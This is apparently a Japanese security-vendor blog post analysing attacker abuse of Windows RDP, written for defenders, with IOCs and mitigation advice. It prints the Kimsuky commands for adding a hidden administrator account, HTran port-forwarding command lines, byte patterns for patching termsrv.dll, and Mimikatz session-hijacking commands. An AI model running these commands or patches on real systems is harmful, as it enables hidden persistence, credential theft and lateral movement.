RDP を利用する攻撃手法および事例の分析

概要

ブログ「様々な遠隔操作ツールを悪用する攻撃者たち」[1]では、攻撃者が感染先システムの操作権限を取得するために、システム管理目的で使用される様々な遠隔操作ツールを悪用する事例を取り上げた。ここでは、Windows OS がデフォルトで提供する RDP(Remote Desktop Protocol)を利用する事例を取り扱う。実際にほとんどの攻撃では RDP が頻繁に使用されているが、これは追加のインストールプロセスが必要な遠隔操作ツールに比べて初期侵入プロセスやラテラルムーブメントに有用であるためだ。

Windows OS はリモートデスクトップサービス(Remote Desktop Services)というサービスをサポートしているため、新たな遠隔操作ツールをインストールすることなく、これを使用できる。もちろん、リモートデスクトップサービスが有効化されているという前提のもとで可能であり、もしそうでない場合はさらなるタスクを通じて有効化が可能になる。

初期侵入の観点から見ると、攻撃者が攻撃対象システムの資格情報を取得すると、RDP を利用して接続することで操作権限を獲得することができる。これは、ラテラルムーブメントのプロセスでも同様であるため、収集した内部ネットワークシステムの資格情報を利用して内部に伝播する目的でも使用できる。もちろん、このような手法のほかにも持続性維持のために感染先システムに攻撃者が使用するアカウントを追加する方式のマルウェアが利用されることもある。

ここでは、このようなタイプの攻撃事例と共に RDP 攻撃に使用され得るいくつかの手法を、各ツールと共に整理していく。


攻撃事例

APT 攻撃事例

RDP を利用する事例は、特に APT 攻撃グループで頻繁に確認される。ASEC ブログ「同じパスワードが設定された Local Administrator アカウントを使用する企業のランサムウェア感染事例」では、攻撃者が被害を受けたシステムのローカル administrator 資格情報を取得したあと、RDP で接続し Lockis ランサムウェアをインストールした事例を取り上げた。[2]

攻撃者は Web シェルを利用して生成したスクリプトで RDP ファイアウォールポリシーの許可および有効化を行い、トンネリングプログラムである Plink を利用して外部アドレスに RDP 接続し、操作権限を獲得していた。このほかにも、Conti ランサムウェア攻撃グループ[3]、DarkSide ランサムウェア攻撃グループ[4]を含む様々な APT 攻撃において SSH、PsExec 等と共によく使用されている。

Windows にデフォルトでインストールされているリモートデスクトップ機能以外にも、攻撃者が RDP Wrapper をインストールして使用するケースも存在する。RDP Wrapper はリモートデスクトップ機能をサポートするオープンソースユーティリティである。Windows OS はすべてのバージョンでリモートデスクトップをサポートしているわけではないため、そのような環境では RDP Wrapper をインストールしてリモートデスクトップを有効化することができる。Kimsuky グループは AppleSeed マルウェアに感染した多数のシステムに RDP Wrapper をインストールしている。


ユーザーアカウントの追加

上記では、主に感染先システムのユーザー資格情報を窃取したあと、その情報で RDP 接続を試みる方式を取り上げた。しかし、最近では感染先システムに新たなユーザーを追加して、そのアカウントで接続するタイプも多数確認されている。攻撃者は、このような方式によっていつでも感染先システムに接続することができるように持続性を維持することがある。もちろん、新たに登録されたアカウントが既存ユーザーに気づかれないようにする必要があるため、追加したアカウントを非表示にする手法も同時に使用される。

KIMSUKY

Kimsuky グループでも、このように感染先システムにユーザーアカウントを追加するマルウェアを配布した履歴が存在する。スピアフィッシングメールの添付ファイルに偽装した PIF ドロッパーマルウェアは、主に AppleSeed をドロップするが、RDP ユーザーを追加する機能を担うマルウェアも配布している。このマルウェアは最終的に以下のようなユーザーアカウントを追加する。

  • ユーザーアカウント : default
  • パスワード : 1qaz2wsx#EDC

ユーザーアカウントの追加は、以下のようにシンプルなコマンドラインの命令を実行する方式で行う。そして以下のコマンドラインの命令が完了、すなわち目的を達成すると、バッチファイルを利用して自己削除を実行する。

> net user /add default 1qaz2wsx#EDC
> net localgroup Administrators default /add
> net localgroup “Remote Desktop Users” default /add
> reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList” /v default /t REG_DWORD /d 0 /f
> reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f

各コマンドを見ると、net コマンドを利用して「default」という名前のユーザーを登録していることが確認できる。このユーザーは管理者グループに含まれ、RDP グループにも含まれているため、以後の RDP 接続のための目的であると推定される。そして、登録したユーザーアカウントを SpecialAccounts レジストリキーに登録することで、以降はユーザーがログイン画面でもアカウントが追加された事を確認できなくなる。


MS-SQL サーバーをターゲットとしたマルウェア

最近では、管理状況が不適切な MS-SQL サーバーを狙った、ユーザーアカウントを追加するマルウェアが配布されている。当該システムにインストールされた別のマルウェアから類推すると、脆弱なアカウント情報を有することによって辞書攻撃を通してシステムを掌握したあと、マルウェアをインストールしたものと推定される。このマルウェアは bat2exe で製作されており、実行すると以下のような Batch ファイルを生成して実行する。

[図1] ユーザーアカウントを追加する Batch ファイル

Batch スクリプトの機能は上述した Kimsuky グループが使用するタイプと類似している。ユーザーアカウントを追加して SpecialAccounts アカウントに登録し、ユーザーが認知できないように設定する。このほかにも、ファイアウォールの設定を追加して RDP サービスを有効化する。


アカウント追加ツール

攻撃者はこのようにして直接ユーザーアカウントを追加する形式のマルウェア以外にも、外部に公開されたツールを利用してユーザーアカウントを追加することもある。例を挙げると、以下は GoLang で開発された CreateHiddenAccount というツールで、Github に公開されている。[5]攻撃者は管理状況が不適切な MS-SQL サーバーを狙い、上記のような複雑なプロセスなしに CreateHiddenAccount マルウェアを利用してユーザーアカウントを追加できる。

[図2] CreateHiddenAccount ツール

RDP 関連のマルウェア
REVERSE RDP

感染先システムのアドレスとアカウント情報を知っていたとしても、プライベートネットワークに存在する場合はポートフォワーディングのような設定がなされていない場合、直接の接続は不可能である。これはほとんどのマルウェアにおいても同様だが、そのような環境のために Reverse Shell のような、攻撃者が感染先システムに先に接続する代わりに、感染先システムで動作するマルウェアが攻撃者、すなわち C&C サーバーに接続する方式が用いられる。

AveMaria は Windows のデフォルトの RDP の代わりに RdpWrapper を使用する。[6]そのために、まずは RdpWrapper DLL を感染 PC にドロップしてサービスに登録する。以降、ランダムな文字列を生成して ID/PW としてユーザーアカウントを追加する。そして、登録したユーザーアカウントを SpecialAccounts レジストリキーに登録することで、ユーザーはアカウントが追加された事を確認できなくなる。最後に、このようにして追加した ID/PW は以下のようなレジストリキーに登録して保存する。

  • ID : HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer[ランダム] / rudp
  • Password : HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer[ランダム] / rpdp
[図3] AveMaria の Reverse RDP 機能

その後、AveMaria は Reverse RDP 方式として C&C サーバーに接続を試みるため、攻撃者は感染 PC の AveMaria を経由して遠隔操作を実行できる。


PORT FORWARDING

ポートフォワーディングとは、特定のポートから渡されたデータを別のポートに伝達する機能である。これを利用すると、上述した AveMaria の役割のように Reverse 方式で通信を行って NAT 環境を回避することができる。それと同時に異なるポート、すなわち RDP ポートへデータを伝達し、遠隔操作を実行できるようになる。

このようなポートフォワーディングをサポートするツールは多く存在するが、ここでは代表的にソースコードが公開され、過去から使用され続けている HTran を基準に説明する。まず、HTran は以下のように3つのモードがサポートされている。[7]

[図4] HTran の使用法

HTran が提供するモードのうち「-listen」モードは、引数で2つのポート番号を渡され、それぞれのポートにバインドして待機する。2つの引数によりすべての接続が確立すると、2つのうち一方のポートから渡されたデータを別のポートにフォワーディングする。一般的に「-listen」モードは「-slave」モードと同時に使用されるものと思われる。「-slave」モードは「-tran」モードと類似しているが、「-tran」モードがローカルシステムの特定ポートを開放して待機するのに対し、「-slave」は指定したアドレスに直接接続する。

以下は「p」という名前を持つ HTran マルウェアが「-slave」モードで実行されたログである。このような引数を受け取って実行される場合、A(1..**.8):1000 のアドレスに接続を試み、接続が確立するとローカルシステムの3389番ポートにフォワーディングする。

> p 1..**.8 1000 127.0.0.1 3389

システム A:1000 では以下のように HTran が「-listen」モードで実行中と思われる。(例示のために最初の引数を80で使用)これにより、攻撃者は A:80 のアドレスにアクセスして攻撃対象のシステムに RDP 接続が可能になる。A で実行中だった HTran が80番ポートから渡されたデータを1000番ポートに伝達し、1000番ポートは攻撃対象のシステムで実行中の HTran と接続されているためである。最終的に攻撃対象のシステムの HTran は渡されたデータをローカルシステムの3389番ポートへフォワーディングする。

> HTran.exe 1000 80


MULTI RDP

一般的な Windows 環境では、1台の PC に1つの RDP 接続のみが許容される。そのため、攻撃者が感染先システムのアカウント情報を知っていたとしても、既存ユーザーがローカルで作業中である、またはユーザーが RDP を利用して現在のシステムに接続して使用している場合は、ユーザーに認知されずに RDP 接続をすることは不可能である。現在のユーザーが作業している環境で攻撃者が RDP 接続を試みた場合、既存ユーザーはログオフになるためである。

これを回避するための方式として、Remote Desktop Service のメモリにパッチを適用してマルチリモートデスクトップ接続を許容させる方法がある。代表的な例としては Mimikatz も ts::multirdp コマンドによってこのような機能をサポートしている。[8] ts::multirdp コマンドを使用すると、現在実行中の Remote Desktop Service、すなわち termsrv.dll をロードした svchost.exe から当該 DLL のアドレスを取得した後、特定のバイナリパターンを検索する。 これは Windows のバージョンごとに異なるため、各バージョンに応じて検索パターンが定義されている。定義されたパターンが存在すると、これを新たなバイナリパターンとしてパッチを適用し、パッチ後はマルチ RDP が可能になる。

Kimsuky グループも、Mimikatz の当該機能と同様にマルチ RDP のためのメモリパッチを担うマルウェアを使用する。最近 Kimsuky グループが使用するほとんどのマルウェアと同じく DLL であり、regsvr32.exe により実行される形である。現在確認されているサンプルは x64 バイナリであり、これによって x64 Windows アーキテクチャでのみ動作する。検索パターンおよびパッチのパターンは Mimikatz のソースコードと類似しているが、Windows XP バージョンにも対応しているという違いがある。以下は、各 Windows バージョンにおける検索パターンおよびパッチするパターンのリストである。

バージョン (x64)検索パターンパッチパターン
Windows XP ( 2600 ) 以上{0x83, 0xf8, 0x02, 0x7f}{0x90, 0x90}
Windows Vista ( 6000 ){0x8b, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x75};{0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0xeb};
Windows 7 ( 7600 ){0x39, 0x87, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84};{0xc7, 0x87, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90};
Windows 8.1 ( 9600 ){0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84};{0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90};
Windows 10, Version 1803 ( 17134 ){0x8b, 0x99, 0x3c, 0x06, 0x00, 0x00, 0x8b, 0xb9, 0x38, 0x06, 0x00, 0x00, 0x3b, 0xdf, 0x0f, 0x84};{0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0x90, 0x90, 0x90, 0xe9};
Windows 10, Version 1809 ( 17763 ) 以上{0x8b, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84};{0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
[表1] RDP サービスの検索およびパッチパターン

RDP 資格情報の窃取

ユーザーが内部の他のシステムにリモートアクセスする場合、RDP アカウント情報を取得できれば、窃取した資格情報によってラテラルムーブメントが可能になる。そのために攻撃者はキーロガーをインストールしてリモートデスクトップのログイン時にアカウント情報を収集したり、ローカルに保存されている RDP アカウントの情報を窃取して他のシステムの資格情報を窃取することができる。Mimikatz は現在のユーザーがリモートデスクトップを使用している、または他のユーザーがログインしている場合でも、アカウント情報の窃取が可能である。

現在のシステムに他のユーザーがリモートデスクトップを利用してログインしている場合は、Mimikatz の ts::logonpasswords コマンドを利用すれば現在実行中のセッションからリモートアクセスの資格情報を抽出して表示する。以下は現在のシステムに他のユーザーが domain_admin アカウントでログインした場合に表示される結果である。[9]

[図5] ts::logonpasswords コマンドを利用して接続したユーザーのアカウント情報窃取

反対に ts::mstsc コマンドは、ユーザーが他のシステムにリモートデスクトップを利用して接続して作業する場合、現在実行中の mstsc プロセスからリモートアクセスした対象の資格情報を抽出して表示する。すなわち、別の経路のシステムに domain_admin アカウントでログインしての作業中に Mimikatz の ts::mstsc コマンドが実行されると、対象システムにアクセスする際に使用した資格情報の窃取が可能になる。

[図6] ts::mstsc コマンドを利用して現在のリモートアクセス対象の資格情報を窃取

一般的にリモートデスクトップを頻繁に使用する対象がある場合、RDP 接続時に毎回 ID/PW を入力する代わりに、オートログインが可能なように保存することができる。この場合、RDP の資格情報はローカルの Vault に保存される。Mimikatz は vault::cred コマンドにより Vault に保存された RDP の資格情報を窃取できるため、現在特定の対象にリモートアクセスしている最中である、または別のユーザーがリモートでアクセス中ではないとしても、ローカルに RDP 資格情報が保存されている場合は窃取が可能である。

[図7] vault::cred コマンドを利用して vault に保存された RDP の資格情報を窃取

RDP HIJACKING

RDP ハイジャックは、他のユーザーのリモートデスクトップセッションを奪取してラテラルムーブメントに使用する手法である。攻撃者が現在のシステムでシステム権限を取得した場合、RDP ハイジャック手法を利用すると他のユーザーの資格情報を知らなくとも RDP セッションを奪うことができる。すなわち、あるシステムを窃取してシステム権限まで取得した攻撃者であれば、そのサーバーにリモートデスクトップを利用してアクセスした他のユーザーのセッションを奪い、窃取したユーザーのセッションでシステムにアクセスすることができる。これはリモートおよびローカルどちらでも使用可能であり、ログオフしていないセッションであるならば、現在アクティブなセッションでも、接続が無効化されたセッションでも同様に使用可能になる。

代表的に、攻撃者は RDP Hijacking のためにターミナルサービスコンソール(tscon.exe)を利用でき、Mimikatz も「ts::remote」コマンドによってこれに対応している。Mimikatz は「privilege::debug」コマンドと「token::elevate」コマンドによってシステム権限も取得できる。その後、「ts::sessions」コマンドで現在のセッションを確認することができ、ハイジャックしようとするセッションの番号が2の場合「ts::remote /id:2」コマンドを入力すると対象のセッションに切り替わる。

mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # ts::multirdp
mimikatz # ts::sessions
Session: 0 – Services

Session: *1 – Console
state: Active (0)
user : ahnlab_user @ DESKTOP
Conn : 2021-06-16 午後 2:28:59
disc : 2021-06-16 午後 2:28:59
logon: 2021-06-16 午後 2:29:00
last : 2021-06-16 午後 2:28:59
curr : 2021-06-16 午後 2:31:16
lock : no
Session: 2 – RDP-Tcp#2
state: Active (0)
user : ahnlab_user2 @ DESKTOP
Conn : 2021-06-16 午後 2:31:07
logon: 2021-06-16 午後 2:31:08
last : 2021-06-16 午後 2:31:14
curr : 2021-06-16 午後 2:31:16
lock : no
addr4: 192.168..
Session: 65536 – RDP-Tcp

mimikatz # ts::remote /id:2
Asking to connect from 2 to current session
Connected to 2

ラテラルムーブメント (LATERAL MOVEMENT)

これまで取り上げてきた事例のように、RDP は初期侵入方式だけでなく、ラテラルムーブメント手法にも頻繁に使用される。重要なのは、攻撃対象のシステムの資格情報を平文で認知していなくとも、NT Hash によりラテラルムーブメント攻撃が可能であるという点である。平文パスワードではないとしても xfreerdp のようなツールを利用すれば、SMB、WMI のように NT Hash を利用する Pass the Hash 攻撃に RDP プロトコルも使用が可能である。

リモートシステムで「Restricted Admin モード」が有効になっている場合、mstsc を利用することもできる。参考に、Restricted Admin モードを有効化するためには以下のようなレジストリが設定されている必要がある。

HKLM\SYSTEM\CurrentControlSet\Control\LSA / “DisableRestrictedAdmin” (DWORD)

  • 0 : Restricted Admin モードの有効化

以下では、確保したドメイン管理者アカウントの NT Hash を利用して Overpass the Hash 攻撃により mstsc を「Restricted Admin モード」で実行している。mstsc のポップアップを確認すると「接続時には Windows ログオン資格情報が使用されます。」というメッセージが表示される。その後、リモートシステムのアドレスを入力して接続すると、アカウント情報を入力する必要なく接続に成功することが確認できる。

[図8] Overpass the Hash を利用したリモートデスクトップ接続


結論

攻撃者は、以前から初期侵入プロセスおよびラテラルムーブメントのプロセスにおいて RDP を利用し続けてきた。そして最近では、さらなるバックドア型マルウェアをインストールする代わりにユーザーアカウントを追加して操作権限を獲得する手法が用いられている。流出したアカウント情報を利用する方式、および攻撃者が自らアカウントを追加する方式のどちらでも、Windows にデフォルトでインストールされているリモートデスクトップサービスを利用するため、これを検知したり予防するためには適切な管理が必要となる。

ユーザーは、疑わしいメールを受信した場合は添付ファイルを開かないようにしなければならず、外部からプログラムをインストールする時は公式ホームページから購入、またはダウンロードすることを推奨する。そして、アカウントのパスワードを複雑な形式で使用し、定期的に変更しなければならない。また 、V3 を最新バージョンにアップデートしてマルウェアへの感染を事前に遮断できるように注意を払わなければならない。

[ファイル検知]
– Trojan/Win.Agent.C5245646 (2022.09.27.02)
– Trojan/BAT.Agent.SC183591 (2022.09.27.03)
– Malware/Win.Generic.C4933135 (2022.01.27.00)
– HackTool/Win.UserAdd.C5271969 (2022.10.04.02)

IOC
MD5

– 81ee91290a78d2d38b47a7ae25ec717f : ユーザーアカウント追加マルウェア
– 185bc3037314ec2dbd6591ad72cf08b4 : CreateHiddenAccount
– b500a8ffd4907a1dfda985683f1de1df : CreateHiddenAccount

ダウンロードアドレス
– hxxp://80.66.76[.]22/servicem.exe : ユーザーアカウント追加マルウェア

参考
[1] [ASEC Blog] 様々な遠隔操作ツールを悪用する攻撃者たち
[2] [ASEC Blog] 同じパスワードが設定された Local Administrator アカウントを使用する企業のランサムウェア感染事例
[3] [The DFIR Report] BazarLoader and the Conti Leaks
[4] [Cyware] DarkSide: A Deep Dive Into The Threat Actor That Took Colonial Pipeline Down
[5] [Github] CreateHiddenAccount
[6] [ASEC Blog] スパムメールで拡散しているAveMariaマルウェア
[7] [ASEC Blog] 韓国国内の企業をターゲットにした FRP(Fast Reverse Proxy)を使用する攻撃グループ
[8] [AhnLab TIP] Mimikatz を利用したイントラネット伝播手法の解析レポート
[9] [AhnLab TIP] Mimikatz を利用したイントラネット伝播手法の解析レポート

関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。

5 1 vote
評価する
Subscribe
Notify of
guest

1 コメント
Inline Feedbacks
View all comments
trackback

[…] Kimsuky グループは、攻撃のプロセスでこのようなマルウェア以外にも遠隔操作をサポートする様々なツールを一緒に使用することが特徴である。遠隔操作のために最も多く使用される方式は RDP(Remote Desktop Protocol)であり、RDP がインストールされていない環境では、オープンソースツールの RDP Wrapper をインストールすることもある。すでにインストールされているかインストールした後には、RDP 接続のためにユーザーアカウントを追加したり、追加したアカウントを隠蔽して RDP マルチセッションを設定するマルウェアを追加で使用したりする。[2] […]